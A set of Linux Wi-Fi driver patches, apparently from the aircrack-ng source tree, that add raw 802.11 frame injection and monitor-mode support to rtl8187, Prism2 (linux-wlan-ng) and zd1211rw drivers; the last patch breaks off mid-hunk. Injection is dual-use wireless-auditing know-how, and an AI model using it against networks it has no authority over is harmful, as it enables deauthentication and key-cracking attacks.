ieee80211_alloc_txb_rtl7(nr_frags, frag_size, GFP_ATOMIC); if (unlikely(!txb)) { printk(KERN_WARNING "%s: Could not allocate TXB\n", ieee->dev->name); @@ -405,93 +410,94 @@ } txb->encrypted = encrypt; txb->payload_size = bytes; - + for (i = 0; i < nr_frags; i++) { skb_frag = txb->fragments[i]; - + if (encrypt) skb_reserve(skb_frag, crypt->ops->extra_prefix_len); - + frag_hdr = (struct ieee80211_hdr *)skb_put(skb_frag, hdr_len); memcpy(frag_hdr, &header, hdr_len); - + /* If this is not the last fragment, then add the MOREFRAGS * bit to the frame control */ if (i != nr_frags - 1) { frag_hdr->frame_ctl = cpu_to_le16( fc | IEEE80211_FCTL_MOREFRAGS); bytes = bytes_per_frag; - + } else { /* The last fragment takes the remaining length */ bytes = bytes_last_frag; } - + frag_hdr->seq_ctl = cpu_to_le16(ieee->seq_ctrl<<4 | i); - - + + /* Put a SNAP header on the first fragment */ if (i == 0) { - ieee80211_put_snap( + ieee80211_put_snap_rtl7( skb_put(skb_frag, SNAP_SIZE + sizeof(u16)), ether_type); bytes -= SNAP_SIZE + sizeof(u16); } - + memcpy(skb_put(skb_frag, bytes), skb->data, bytes); - + /* Advance the SKB... */ skb_pull(skb, bytes); - + /* Encryption routine will move the header forward in order * to insert the IV between the header and the payload */ if (encrypt) - ieee80211_encrypt_fragment(ieee, skb_frag, hdr_len); + ieee80211_encrypt_fragment_rtl7(ieee, skb_frag, hdr_len); if (ieee->config & (CFG_IEEE80211_COMPUTE_FCS | CFG_IEEE80211_RESERVE_FCS)) skb_put(skb_frag, 4); } - // Advance sequence number in data frame. + // Advance sequence number in data frame. if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; //--- }else{ - if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { +// if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { + if (unlikely(skb->len < 14)) { printk(KERN_WARNING "%s: skb too small (%d).\n", ieee->dev->name, skb->len); goto success; } - - txb = ieee80211_alloc_txb(1, skb->len, GFP_ATOMIC); + + txb = ieee80211_alloc_txb_rtl7(1, skb->len, GFP_ATOMIC); if(!txb){ printk(KERN_WARNING "%s: Could not allocate TXB\n", ieee->dev->name); goto failed; } - + txb->encrypted = 0; txb->payload_size = skb->len; memcpy(skb_put(txb->fragments[0],skb->len), skb->data, skb->len); - } + } success: spin_unlock_irqrestore(&ieee->lock, flags); dev_kfree_skb_any(skb); if (txb) { if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE){ - ieee80211_softmac_xmit(txb, ieee); + ieee80211_softmac_xmit_rtl7(txb, ieee); }else{ if ((*ieee->hard_start_xmit)(txb, dev) == 0) { stats->tx_packets++; stats->tx_bytes += txb->payload_size; return 0; } - ieee80211_txb_free(txb); + ieee80211_txb_free_rtl7(txb); } - - + + } return 0; @@ -504,4 +510,4 @@ } -EXPORT_SYMBOL(ieee80211_txb_free); +EXPORT_SYMBOL(ieee80211_txb_free_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_wx.c rtl8187_rawtx/ieee80211/ieee80211_wx.c --- rtl8187_orig/ieee80211/ieee80211_wx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_wx.c 2007-07-13 01:46:05.000000000 +0200 @@ -40,7 +40,7 @@ }; #define MAX_CUSTOM_LEN 64 -static inline char *ipw2100_translate_scan(struct ieee80211_device *ieee, +static inline char *ipw2100_translate_scan_rtl7(struct ieee80211_device *ieee, char *start, char *stop, struct ieee80211_network *network) { @@ -207,7 +207,7 @@ return start; } -int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -220,13 +220,14 @@ IEEE80211_DEBUG_WX("Getting scan\n"); down(&ieee->wx_sem); + printk("GOT WX GET SCAN WX_SEM LOCK"); spin_lock_irqsave(&ieee->lock, flags); list_for_each_entry(network, &ieee->network_list, list) { i++; if (ieee->scan_age == 0 || time_after(network->last_scanned + ieee->scan_age, jiffies)) - ev = ipw2100_translate_scan(ieee, ev, stop, network); + ev = ipw2100_translate_scan_rtl7(ieee, ev, stop, network); else IEEE80211_DEBUG_SCAN( "Not showing network '%s (" @@ -247,7 +248,7 @@ return 0; } -int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *keybuf) { @@ -259,6 +260,9 @@ int i, key, key_provided, len; struct ieee80211_crypt_data **crypt; + if (erq->flags & IW_ENCODE_RESTRICTED) + return -EINVAL; + IEEE80211_DEBUG_WX("SET_ENCODE\n"); key = erq->flags & IW_ENCODE_INDEX; @@ -281,7 +285,7 @@ if (key_provided && *crypt) { IEEE80211_DEBUG_WX("Disabling encryption on key %d.\n", key); - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } else IEEE80211_DEBUG_WX("Disabling encryption.\n"); @@ -291,7 +295,7 @@ if (ieee->crypt[i] != NULL) { if (key_provided) break; - ieee80211_crypt_delayed_deinit( + ieee80211_crypt_delayed_deinit_rtl7( ieee, &ieee->crypt[i]); } } @@ -314,7 +318,7 @@ strcmp((*crypt)->ops->name, "WEP") != 0) { /* changing to use WEP; deinit previously used algorithm * on this key */ - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } if (*crypt == NULL) { @@ -326,10 +330,10 @@ if (new_crypt == NULL) return -ENOMEM; memset(new_crypt, 0, sizeof(struct ieee80211_crypt_data)); - new_crypt->ops = ieee80211_get_crypto_ops("WEP"); + new_crypt->ops = ieee80211_get_crypto_ops_rtl7("WEP"); if (!new_crypt->ops) { - request_module("ieee80211_crypt_wep"); - new_crypt->ops = ieee80211_get_crypto_ops("WEP"); + request_module("ieee80211_crypt_wep_rtl"); + new_crypt->ops = ieee80211_get_crypto_ops_rtl7("WEP"); } if (new_crypt->ops && try_module_get(new_crypt->ops->owner)) @@ -340,7 +344,7 @@ new_crypt = NULL; printk(KERN_WARNING "%s: could not initialize WEP: " - "load module ieee80211_crypt_wep\n", + "load module ieee80211_crypt_wep_rtl\n", dev->name); return -EOPNOTSUPP; } @@ -418,7 +422,7 @@ return 0; } -int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *keybuf) { @@ -430,7 +434,7 @@ if(ieee->iw_mode == IW_MODE_MONITOR) return -1; - + key = erq->flags & IW_ENCODE_INDEX; if (key) { if (key > WEP_KEYS) @@ -470,6 +474,6 @@ } -EXPORT_SYMBOL(ieee80211_wx_get_scan); -EXPORT_SYMBOL(ieee80211_wx_set_encode); -EXPORT_SYMBOL(ieee80211_wx_get_encode); +EXPORT_SYMBOL(ieee80211_wx_get_scan_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_encode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_encode_rtl7); diff -Naur rtl8187_orig/ieee80211/Makefile rtl8187_rawtx/ieee80211/Makefile --- rtl8187_orig/ieee80211/Makefile 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/Makefile 2007-05-27 10:47:26.000000000 +0200 @@ -17,6 +17,7 @@ KVER := $(shell uname -r) KSRC := /lib/modules/$(KVER)/build INSTALL_PREFIX := +PWD = $(shell pwd) all: modules diff -Naur rtl8187_orig/ieee80211/Modules.symvers rtl8187_rawtx/ieee80211/Modules.symvers --- rtl8187_orig/ieee80211/Modules.symvers 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/Modules.symvers 1970-01-01 01:00:00.000000000 +0100 @@ -1,43 +0,0 @@ -0x232e7944 ieee80211_wlan_frequencies /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xaeae102f free_ieee80211_rtl /usr/rtl8187_linux_2.6_05312006/ieee80211/ieee80211-rtl -0x279e265f ieee80211_crypt_deinit_handler net/ieee80211/ieee80211_crypt -0xc2411d91 ieee80211_stop_queue /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6ece20e1 ieee80211_wx_get_name_rtl /usr/rtl8187_linux_2.6_05312006/ieee80211/ieee80211-rtl -0x5d3847ff ieee80211_rx_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x18612027 ieee80211_wx_get_scan_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xa0e03ce1 ieee80211_wx_get_name /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xee25f349 ieee80211_wx_get_mode /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x86013c3d ieee80211_wx_set_mode /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x04493cc0 ieee80211_wx_get_rate /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6c6df3b4 ieee80211_wx_set_rate /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x82caec02 ieee80211_crypt_deinit_entries net/ieee80211/ieee80211_crypt -0x347945bf ieee80211_wx_get_power /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6379d455 ieee80211_wx_set_power /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xae62ed59 ieee80211_wx_set_scan /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6621e172 ieee80211_wx_set_freq /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x0e052e06 ieee80211_wx_get_freq /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x283f9f5d ieee80211_unregister_crypto_ops net/ieee80211/ieee80211_crypt -0x9da79aac ieee80211_is_shortslot /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x666032dc ieee80211_wx_get_wap /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x9f1cbe0e ieee80211_wx_set_wap /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x73d1d341 ieee80211_wx_set_rawtx /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x2c714184 ieee80211_is_54g /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6892d598 ieee80211_wpa_supplicant_ioctl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xc062f1f5 ieee80211_ps_tx_ack /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x55534906 ieee80211_get_beacon /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xe2679638 ieee80211_crypt_delayed_deinit net/ieee80211/ieee80211_crypt -0x3a0456bc free_ieee80211 net/ieee80211/ieee80211 -0x7e1ef2c8 ieee80211_wake_queue /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xc1b81e9f ieee80211_register_crypto_ops net/ieee80211/ieee80211_crypt -0x3f795a39 alloc_ieee80211 net/ieee80211/ieee80211 -0x89803c23 ieee80211_get_crypto_ops net/ieee80211/ieee80211_crypt -0xc6caf2a4 ieee80211_txb_free net/ieee80211/ieee80211 -0x49c1422c ieee80211_rx_mgt net/ieee80211/ieee80211 -0xbf2b4ebd alloc_ieee80211_rtl /usr/rtl8187_linux_2.6_05312006/ieee80211/ieee80211-rtl -0xd155f7b8 ieee80211_softmac_stop_protocol /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x9ce2dcde ieee80211_softmac_start_protocol /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x00d74bba ieee80211_wx_get_encode_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x92b5d996 ieee80211_wx_set_encode_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x2ac9bf95 ieee80211_wx_set_essid /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x7dc92e7f ieee80211_wx_get_essid /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xd04740ca ieee80211_reset_queue /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl diff -Naur rtl8187_orig/Makefile rtl8187_rawtx/Makefile --- rtl8187_orig/Makefile 1970-01-01 01:00:00.000000000 +0100 +++ rtl8187_rawtx/Makefile 2007-06-21 23:43:15.000000000 +0200 @@ -0,0 +1,39 @@ +prefix = /lib/modules/$(shell uname -r)/kernel/drivers/net/wireless +r8187dir = $(prefix)/rtl8187 +ieeedir = $(prefix)/rtl_ieee80211 + +default: all + +all: + -rm -f ieee80211/Module.symvers 2>/dev/null + -rm -f ieee80211/Modules.symvers 2>/dev/null + $(MAKE) -C ieee80211 $(@) + -chmod +x symvers + -./symvers + $(MAKE) -C beta-8187 $(@) + +install: + install -d $(ieeedir) + install -d $(r8187dir) + install -m 644 ./ieee80211/*.ko $(ieeedir) + install -m 644 ./beta-8187/*.ko $(r8187dir) + -find /lib/modules/$(shell uname -r) -name rtl8187.ko -exec mv -v {} ~/ \; + -depmod -ae + +uninstall: + -rm -f $(ieeedir)/ieee80211-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_ccmp-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_tkip-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_wep-rtl.ko + -rm -f $(r8187dir)/r8187.ko + -rm -fr $(ieeedir) + -rm -fr $(r8187dir) + -depmod -ae + +clean: + $(MAKE) -C ieee80211 $(@) + $(MAKE) -C beta-8187 $(@) + +distclean: clean + diff -Naur rtl8187_orig/symvers rtl8187_rawtx/symvers --- rtl8187_orig/symvers 1970-01-01 01:00:00.000000000 +0100 +++ rtl8187_rawtx/symvers 2007-05-26 10:39:22.000000000 +0200 @@ -0,0 +1,25 @@ +#!/bin/sh + +cd beta-8187 + +if [ -e Module.symvers ] +then + rm Module.symvers +fi + +if [ -e Modules.symvers ] +then + rm Modules.symvers +fi + +if [ -e ../ieee80211/Module.symvers ] +then + ln -sf ../ieee80211/Module.symvers ./ +fi + +if [ -e ../ieee80211/Modules.symvers ] +then + ln -sf ../ieee80211/Modules.symvers ./ +fi + +cd .. diff -Naur rtl8187_orig/wlan0rmv rtl8187_rawtx/wlan0rmv --- rtl8187_orig/wlan0rmv 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/wlan0rmv 2007-06-26 16:32:43.000000000 +0200 @@ -1,5 +1,9 @@ #!/bin/bash -rmmod r8180 -rmmod ieee80211_r8180 -rmmod ieee80211_crypt_r8180 +rmmod rtl8187 2>/dev/null +rmmod r8187 2>/dev/null +rmmod ieee80211_rtl 2>/dev/null +rmmod ieee80211_crypt_ccmp_rtl 2>/dev/null +rmmod ieee80211_crypt_tkip_rtl 2>/dev/null +rmmod ieee80211_crypt_wep_rtl 2>/dev/null +rmmod ieee80211_crypt_rtl 2>/dev/null aircrack-ng-1.2-rc4/patches/old/linux-wlan-0.2.5.packet.injection.patch0000644000000000000000000003113010761053203024127 0ustar rootrootdiff -ru linux-wlan-ng-0.2.5/src/p80211/p80211netdev.c linux-wlan-ng-0.2.5-patched/src/p80211/p80211netdev.c --- linux-wlan-ng-0.2.5/src/p80211/p80211netdev.c 2006-08-31 15:40:47.000000000 +0200 +++ linux-wlan-ng-0.2.5-patched/src/p80211/p80211netdev.c 2007-01-05 09:34:01.000000000 +0100 @@ -511,7 +511,7 @@ * and return success . * TODO: we need a saner way to handle this */ - if(skb->protocol != ETH_P_80211_RAW) { + if(skb->protocol != htons(ETH_P_80211_RAW)) { p80211netdev_start_queue(wlandev); WLAN_LOG_NOTICE( "Tx attempt prior to association, frame dropped.\n"); @@ -523,7 +523,7 @@ } /* Check for raw transmits */ - if(skb->protocol == ETH_P_80211_RAW) { + if(skb->protocol == htons(ETH_P_80211_RAW)) { if (!capable(CAP_NET_ADMIN)) { result = 1; goto failed; @@ -951,8 +951,9 @@ dev->set_mac_address = p80211knetdev_set_mac_address; #endif #ifdef HAVE_TX_TIMEOUT - dev->tx_timeout = &p80211knetdev_tx_timeout; - dev->watchdog_timeo = (wlan_watchdog * HZ) / 1000; +// korek: still not implemented +// dev->tx_timeout = &p80211knetdev_tx_timeout; +// dev->watchdog_timeo = (wlan_watchdog * HZ) / 1000; #endif netif_carrier_off(dev); } diff -ru linux-wlan-ng-0.2.5/src/prism2/driver/hfa384x.c linux-wlan-ng-0.2.5-patched/src/prism2/driver/hfa384x.c --- linux-wlan-ng-0.2.5/src/prism2/driver/hfa384x.c 2006-08-03 16:00:04.000000000 +0200 +++ linux-wlan-ng-0.2.5-patched/src/prism2/driver/hfa384x.c 2007-01-05 09:38:13.000000000 +0100 @@ -1871,8 +1871,16 @@ DBFENTER; - cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | - HFA384x_CMD_AINFO_SET(enable); +// cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | +// HFA384x_CMD_AINFO_SET(enable); + if (enable == HFA384x_MONITOR_ENABLE) { + // KoreK: get into test mode 0x0a + cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | + HFA384x_CMD_AINFO_SET(0x0a); + } else { + cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | + HFA384x_CMD_AINFO_SET(enable); + } cmd.parm0 = 0; cmd.parm1 = 0; cmd.parm2 = 0; @@ -3112,12 +3120,33 @@ #endif /* if we're using host WEP, increase size by IV+ICV */ - if (p80211_wep->data) { - txdesc.data_len = host2hfa384x_16(skb->len+8); - // txdesc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); - } else { - txdesc.data_len = host2hfa384x_16(skb->len); - } +// if (p80211_wep->data) { +// txdesc.data_len = host2hfa384x_16(skb->len+8); +// // txdesc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); +// } else { +// txdesc.data_len = host2hfa384x_16(skb->len); +// } + + if (skb->protocol != htons(ETH_P_80211_RAW)) { + /* if we're using host WEP, increase size by IV+ICV */ + if (p80211_wep->data) { + txdesc.data_len = host2hfa384x_16(skb->len+8); + // txdesc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); + } else { + txdesc.data_len = host2hfa384x_16(skb->len); + } + } else { + /* KoreK: raw injection (monitor mode): pull the rest of + the header and ssanity check on txdesc.data_len */ + memcpy(&(txdesc.data_len), skb->data, 16); + skb_pull(skb,16); + if (txdesc.data_len != host2hfa384x_16(skb->len)) { + printk(KERN_DEBUG "mismatch frame_len, drop frame\n"); + return 0; + } + + txdesc.tx_control |= HFA384x_TX_RETRYSTRAT_SET(1); + } txdesc.tx_control = host2hfa384x_16(txdesc.tx_control); /* copy the header over to the txdesc */ @@ -3140,7 +3169,8 @@ spin_lock(&hw->cmdlock); /* Copy descriptor+payload to FID */ - if (p80211_wep->data) { +// if (p80211_wep->data) { + if (p80211_wep->data && (skb->protocol != htons(ETH_P_80211_RAW))) { result = hfa384x_copy_to_bap4(hw, HFA384x_BAP_PROC, fid, 0, &txdesc, sizeof(txdesc), p80211_wep->iv, sizeof(p80211_wep->iv), @@ -3585,6 +3615,17 @@ switch( HFA384x_RXSTATUS_MACPORT_GET(rxdesc.status) ) { case 0: + + /* KoreK: this testmode uses macport 0 */ + if ((wlandev->netdev->type == ARPHRD_IEEE80211) || + (wlandev->netdev->type == ARPHRD_IEEE80211_PRISM)) { + if ( ! HFA384x_RXSTATUS_ISFCSERR(rxdesc.status) ) { + hfa384x_int_rxmonitor( wlandev, rxfid, &rxdesc); + } else { + WLAN_LOG_DEBUG(3,"Received monitor frame: FCSerr set\n"); + } + goto done; + } fc = ieee2host16(rxdesc.frame_control); diff -ru linux-wlan-ng-0.2.5/src/prism2/driver/hfa384x_usb.c linux-wlan-ng-0.2.5-patched/src/prism2/driver/hfa384x_usb.c --- linux-wlan-ng-0.2.5/src/prism2/driver/hfa384x_usb.c 2006-04-03 18:12:03.000000000 +0200 +++ linux-wlan-ng-0.2.5-patched/src/prism2/driver/hfa384x_usb.c 2007-01-05 09:46:13.000000000 +0100 @@ -1428,8 +1428,16 @@ DBFENTER; - cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | - HFA384x_CMD_AINFO_SET(enable); + // cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | + // HFA384x_CMD_AINFO_SET(enable); + if (enable == HFA384x_MONITOR_ENABLE) { + // KoreK: get into test mode 0x0a + cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | + HFA384x_CMD_AINFO_SET(0x0a); + } else { + cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | + HFA384x_CMD_AINFO_SET(enable); + } cmd.parm0 = 0; cmd.parm1 = 0; cmd.parm2 = 0; @@ -3429,37 +3437,71 @@ HFA384x_TX_MACPORT_SET(0) | HFA384x_TX_STRUCTYPE_SET(1) | HFA384x_TX_TXEX_SET(0) | HFA384x_TX_TXOK_SET(0); #endif - hw->txbuff.txfrm.desc.tx_control = - host2hfa384x_16(hw->txbuff.txfrm.desc.tx_control); - - /* copy the header over to the txdesc */ - memcpy(&(hw->txbuff.txfrm.desc.frame_control), p80211_hdr, sizeof(p80211_hdr_t)); + // hw->txbuff.txfrm.desc.tx_control = + // host2hfa384x_16(hw->txbuff.txfrm.desc.tx_control); - /* if we're using host WEP, increase size by IV+ICV */ - if (p80211_wep->data) { - hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len+8); - // hw->txbuff.txfrm.desc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); - usbpktlen+=8; - } else { - hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len); + // /* copy the header over to the txdesc */ + // memcpy(&(hw->txbuff.txfrm.desc.frame_control), p80211_hdr, sizeof(p80211_hdr_t)); + if (skb->protocol != htons(ETH_P_80211_RAW)) { + hw->txbuff.txfrm.desc.tx_control = + host2hfa384x_16(hw->txbuff.txfrm.desc.tx_control); + + /* copy the header over to the txdesc */ + memcpy(&(hw->txbuff.txfrm.desc.frame_control), p80211_hdr, + sizeof(p80211_hdr_t)); + + /* if we're using host WEP, increase size by IV+ICV */ + if (p80211_wep->data) { + hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len+8); + // hw->txbuff.txfrm.desc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); + usbpktlen+=8; + } else { + hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len); + } + } else { + /* KoreK: raw injection (monitor mode): pull the rest of + the header and ssanity check on txdesc.data_len */ + memcpy(&(hw->txbuff.txfrm.desc.data_len), skb->data, 16); + skb_pull(skb,16); + if (hw->txbuff.txfrm.desc.data_len != host2hfa384x_16(skb->len)) { + printk(KERN_DEBUG "mismatch frame_len, drop frame\n"); + return 0; + } + // /* if we're using host WEP, increase size by IV+ICV */ + // if (p80211_wep->data) { + // hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len+8); + // // hw->txbuff.txfrm.desc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); + // usbpktlen+=8; + // } else { + // hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len); + hw->txbuff.txfrm.desc.tx_control |= HFA384x_TX_RETRYSTRAT_SET(1); + hw->txbuff.txfrm.desc.tx_control = + host2hfa384x_16(hw->txbuff.txfrm.desc.tx_control); + + /* copy the header over to the txdesc */ + memcpy(&(hw->txbuff.txfrm.desc.frame_control), p80211_hdr, + sizeof(p80211_hdr_t)); } usbpktlen += skb->len; /* copy over the WEP IV if we are using host WEP */ ptr = hw->txbuff.txfrm.data; - if (p80211_wep->data) { + // if (p80211_wep->data) { + if (p80211_wep->data && skb->protocol != htons(ETH_P_80211_RAW)) { memcpy(ptr, p80211_wep->iv, sizeof(p80211_wep->iv)); ptr+= sizeof(p80211_wep->iv); memcpy(ptr, p80211_wep->data, skb->len); } else { memcpy(ptr, skb->data, skb->len); } + /* copy over the packet data */ ptr+= skb->len; /* copy over the WEP ICV if we are using host WEP */ - if (p80211_wep->data) { + // if (p80211_wep->data) { + if (p80211_wep->data && skb->protocol != htons(ETH_P_80211_RAW)) { memcpy(ptr, p80211_wep->icv, sizeof(p80211_wep->icv)); } @@ -4221,6 +4263,17 @@ switch( HFA384x_RXSTATUS_MACPORT_GET(usbin->rxfrm.desc.status) ) { case 0: + /* KoreK: this testmode uses macport 0 */ + if ((wlandev->netdev->type == ARPHRD_IEEE80211) || + (wlandev->netdev->type == ARPHRD_IEEE80211_PRISM)) { + if ( ! HFA384x_RXSTATUS_ISFCSERR(usbin->rxfrm.desc.status) ) { + hfa384x_int_rxmonitor(wlandev, &usbin->rxfrm); + } else { + WLAN_LOG_DEBUG(3,"Received monitor frame: FCSerr set\n"); + } + goto done; + } + fc = ieee2host16(usbin->rxfrm.desc.frame_control); /* If exclude and we receive an unencrypted, drop it */ diff -ru linux-wlan-ng-0.2.5/src/prism2/driver/prism2mgmt.c linux-wlan-ng-0.2.5-patched/src/prism2/driver/prism2mgmt.c --- linux-wlan-ng-0.2.5/src/prism2/driver/prism2mgmt.c 2005-06-22 16:16:55.000000000 +0200 +++ linux-wlan-ng-0.2.5-patched/src/prism2/driver/prism2mgmt.c 2007-01-05 09:49:13.000000000 +0100 @@ -2860,9 +2860,12 @@ } /* Now if we're already sniffing, we can skip the rest */ - if (wlandev->netdev->type != ARPHRD_ETHER) { + // if (wlandev->netdev->type != ARPHRD_ETHER) { + if ((wlandev->netdev->type != ARPHRD_IEEE80211) && + (wlandev->netdev->type != ARPHRD_IEEE80211_PRISM)) { /* Set the port type to pIbss */ - word = HFA384x_PORTTYPE_PSUEDOIBSS; + // word = HFA384x_PORTTYPE_PSUEDOIBSS; + word = 5; // HFA384x_PORTTYPE_PSUEDOIBSS; result = hfa384x_drvr_setconfig16(hw, HFA384x_RID_CNFPORTTYPE, word); if ( result ) { @@ -2874,6 +2877,8 @@ } if ((msg->keepwepflags.status == P80211ENUM_msgitem_status_data_ok) && (msg->keepwepflags.data != P80211ENUM_truth_true)) { /* Set the wepflags for no decryption */ + /* doesn't work - done from the CLI */ + /* Fix? KoreK */ word = HFA384x_WEPFLAGS_DISABLE_TXCRYPT | HFA384x_WEPFLAGS_DISABLE_RXCRYPT; result = hfa384x_drvr_setconfig16(hw, HFA384x_RID_CNFWEPFLAGS, word); @@ -2919,7 +2924,9 @@ goto failed; } - if (wlandev->netdev->type == ARPHRD_ETHER) { + // if (wlandev->netdev->type == ARPHRD_ETHER) { + if ((wlandev->netdev->type != ARPHRD_IEEE80211) && + (wlandev->netdev->type != ARPHRD_IEEE80211_PRISM)) { WLAN_LOG_INFO("monitor mode enabled\n"); } diff -ru linux-wlan-ng-0.2.5/src/prism2/driver/prism2sta.c linux-wlan-ng-0.2.5-patched/src/prism2/driver/prism2sta.c --- linux-wlan-ng-0.2.5/src/prism2/driver/prism2sta.c 2006-01-19 22:25:50.000000000 +0100 +++ linux-wlan-ng-0.2.5-patched/src/prism2/driver/prism2sta.c 2007-01-05 09:49:50.000000000 +0100 @@ -410,7 +410,9 @@ DBFENTER; /* If necessary, set the 802.11 WEP bit */ - if ((wlandev->hostwep & (HOSTWEP_PRIVACYINVOKED | HOSTWEP_ENCRYPT)) == HOSTWEP_PRIVACYINVOKED) { + // if ((wlandev->hostwep & (HOSTWEP_PRIVACYINVOKED | HOSTWEP_ENCRYPT)) == HOSTWEP_PRIVACYINVOKED) { + if (((wlandev->hostwep & (HOSTWEP_PRIVACYINVOKED | HOSTWEP_ENCRYPT)) == HOSTWEP_PRIVACYINVOKED) + && (skb->protocol != htons(ETH_P_80211_RAW))) { p80211_hdr->a3.fc |= host2ieee16(WLAN_SET_FC_ISWEP(1)); } aircrack-ng-1.2-rc4/patches/old/zd1211rw-inject+dbi-fix-2.6.26.patch0000644000000000000000000000352412103567066022775 0ustar rootroot--- drivers/net/wireless/zd1211rw/zd_mac.c +++ drivers/net/wireless/zd1211rw/zd_mac.c @@ -221,14 +221,19 @@ void zd_mac_clear(struct zd_mac *mac) static int set_rx_filter(struct zd_mac *mac) { unsigned long flags; - u32 filter = STA_RX_FILTER; + struct zd_ioreq32 ioreqs[] = { + {CR_RX_FILTER, STA_RX_FILTER}, + { CR_SNIFFER_ON, 0U }, + }; spin_lock_irqsave(&mac->lock, flags); - if (mac->pass_ctrl) - filter |= RX_FILTER_CTRL; + if (mac->pass_ctrl) { + ioreqs[0].value |= 0xFFFFFFFF; + ioreqs[1].value = 0x1; + } 